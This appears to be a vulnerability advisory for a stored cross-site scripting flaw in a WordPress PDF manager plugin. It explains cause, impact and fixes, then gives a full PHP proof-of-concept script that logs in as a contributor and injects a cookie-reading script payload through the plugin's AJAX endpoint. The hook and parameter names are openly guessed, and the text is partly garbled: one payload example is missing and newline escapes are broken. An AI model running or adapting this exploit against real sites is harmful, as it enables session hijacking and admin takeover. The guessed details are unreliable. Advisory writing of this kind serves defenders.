Atomic Edge analysis of CVE-2026-65528 (metadata-based): The BSK PDF Manager plugin for WordPress, version 3.8 and earlier, suffers from a Stored Cross-Site Scripting (XSS) vulnerability. The issue arises from insufficient input sanitization and output escaping. An authenticated attacker with at least contributor-level access can inject arbitrary web scripts into pages or PDF-related content, which then executes in the browser of any user who views the affected page. The CVSS score is 6.4 (Medium) with a vector of AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N, indicating a network-exploitable flaw with low attack complexity and partial impacts on confidentiality and integrity.
Root Cause: The CWE-79 classification points to a classic stored XSS pattern where user-supplied input is stored without proper neutralization and later rendered without proper escaping. In the plugin’s context, the vulnerable input is likely a field processed by a WordPress AJAX handler or admin form that handles PDF metadata, such as a file name, title, description, or custom tag. The plugin probably uses a sanitization function like sanitize_text_field() that strips tags but fails to escape the output on display, or it might use wp_kses() with a permissive allowlist. Atomic Edge analysis infers that the injection vector is a POST request to the plugin’s AJAX action where the contributor can save PDF details, and the stored payload appears when the PDF list or a shortcode renders the saved data. Since no code diff exists, these conclusions are inferred from the CWE and the plugin’s known functionality, not confirmed from source code.
Exploitation: An attacker with a contributor-level account crafts a POST request to the WordPress AJAX endpoint, typically /wp-admin/admin-ajax.php, with the action parameter set to a plugin-specific hook such as bsk_pdf_manager_add_pdf or bsk_pdf_manager_save_pdf_settings. The request includes a parameter (likely PDF title, filename, or description) containing an HTML payload like alert(document.cookie) or an event-handler based vector such as 
. Because the plugin does not sanitize this input, the payload is stored in the database. When an administrator or any user visits the PDF manager dashboard page or a page using a PDF shortcode, the payload executes in their browser. The contributor role is sufficient, and no other privileges are required. The attack is fully remote and has no user interaction barrier (UI:N), meaning the victim does not need to click anything.
Remediation: The plugin must implement both input sanitization and output escaping. All PDF-related fields, including title, description, and custom metadata, should be sanitized on save using appropriate WordPress functions such as sanitize_text_field() for plain text, wp_kses_post() if rich content is allowed, or esc_html()/esc_attr() when rendering. The plugin should also use trusted output escaping functions like esc_html(), esc_attr(), or wp_kses() when echoing any data that originated from user input. For stored XSS, the key is to escape all output, not just sanitize input, because legacy or previously stored data may still be dangerous. The vendor should apply a fix that validates and escapes all user-controlled fields before saving and when displaying them. Additionally, they should consider using nonce verification and capability checks to further restrict what contributor-level users can submit, though those controls do not address the XSS itself.
Impact: Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript in the context of any logged-in user who views the affected page. This can lead to session hijacking, cookie theft, forced actions (CSRF), defacement of the admin dashboard, and privilege escalation if the payload targets an administrator. The stored nature means the payload persists and executes repeatedly, making it a persistent threat that can affect all users including site administrators. The CVSS reflects partial confidentiality and integrity impact, but a full compromise of the WordPress admin account could lead to arbitrary file uploads, plugin installation, or site takeover.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65528 - BSK PDF Manager <= 3.8 - Authenticated (Contributor+) Stored Cross-Site Scripting
// This PoC demonstrates how to inject a stored XSS payload via the plugin's AJAX handler.
// The exact AJAX action and parameter names are inferred from the plugin slug and common WordPress patterns.
// Adjust $action_name and $payload_param to match the plugin's actual hooks if they differ.
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Replace with the target WordPress AJAX URL
$username = 'contributor'; // Replace with valid contributor username
$password = 'password'; // Replace with valid password
// Step 1: Authenticate to obtain a session cookie.
$login_url = 'http://example.com/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => 'http://example.com/wp-admin/',
'testcookie' => '1'
);
$login_html = curl_post($login_url, $login_data, array(), false);
$cookies = extract_cookies($login_html);
if (empty($cookies)) {
die("Authentication failed. Check credentials or target URL.n");
}
// Step 2: Prepare the XSS payload. The plugin stores this in a field that is later rendered unescaped.
// Use a payload that executes without user interaction.
$payload = '<script>alert(document.cookie)</script>';
// Common AJAX action names for PDF manager plugins: adjust if necessary.
$action_name = 'bsk_pdf_manager_save_item'; // Example action hook
// The parameter likely holds the PDF title or filename. We assume it's 'pdf_title'.
$payload_param = 'pdf_title';
// Step 3: Send the AJAX request to inject the payload.
$ajax_data = array(
'action' => $action_name,
$payload_param => $payload,
// Nonce is often required; if the plugin enforces it, obtain a valid nonce from the admin page.
// 'security' => 'your_nonce_here',
'nonce' => '', // Leave empty if not required.
// Additional parameters the plugin expects; add placeholders here.
'pdf_id' => '0', // New PDF
'description' => ''
);
$headers = array(
'Cookie: ' . $cookies,
'X-Requested-With: XMLHttpRequest'
);
$response = curl_post($target_url, $ajax_data, $headers, true);
if (preg_match('/"success":s*true/i', $response)) {
echo "[+] Payload injected successfully.n";
echo "[+] Verify by visiting the PDF manager page or a page using the plugin shortcode.n";
} else {
echo "[!] Injection may have failed or the response format differs.n";
echo "[!] Response: " . substr($response, 0, 500) . "n";
}
// Function to perform cURL POST request.
function curl_post($url, $data, $headers = array(), $is_ajax = false) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, $is_ajax ? false : true);
if (!empty($headers)) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
}
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
// Function to extract Set-Cookie from response header.
function extract_cookies($response) {
$cookies = array();
preg_match_all('/Set-Cookie: ([^=]+)=([^;]+)/i', $response, $matches);
if (isset($matches[1])) {
foreach ($matches[1] as $i => $name) {
$cookies[] = $name . '=' . $matches[2][$i];
}
}
return implode('; ', $cookies);
}
?>
